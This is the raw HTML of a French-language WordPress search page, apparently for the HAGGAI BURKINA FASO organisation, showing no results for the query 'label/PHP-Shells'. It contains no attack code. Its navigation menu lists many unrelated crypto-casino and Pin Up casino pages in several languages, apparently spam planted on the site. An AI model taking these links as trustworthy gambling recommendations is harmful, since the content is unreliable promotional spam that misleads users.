fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780281739' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
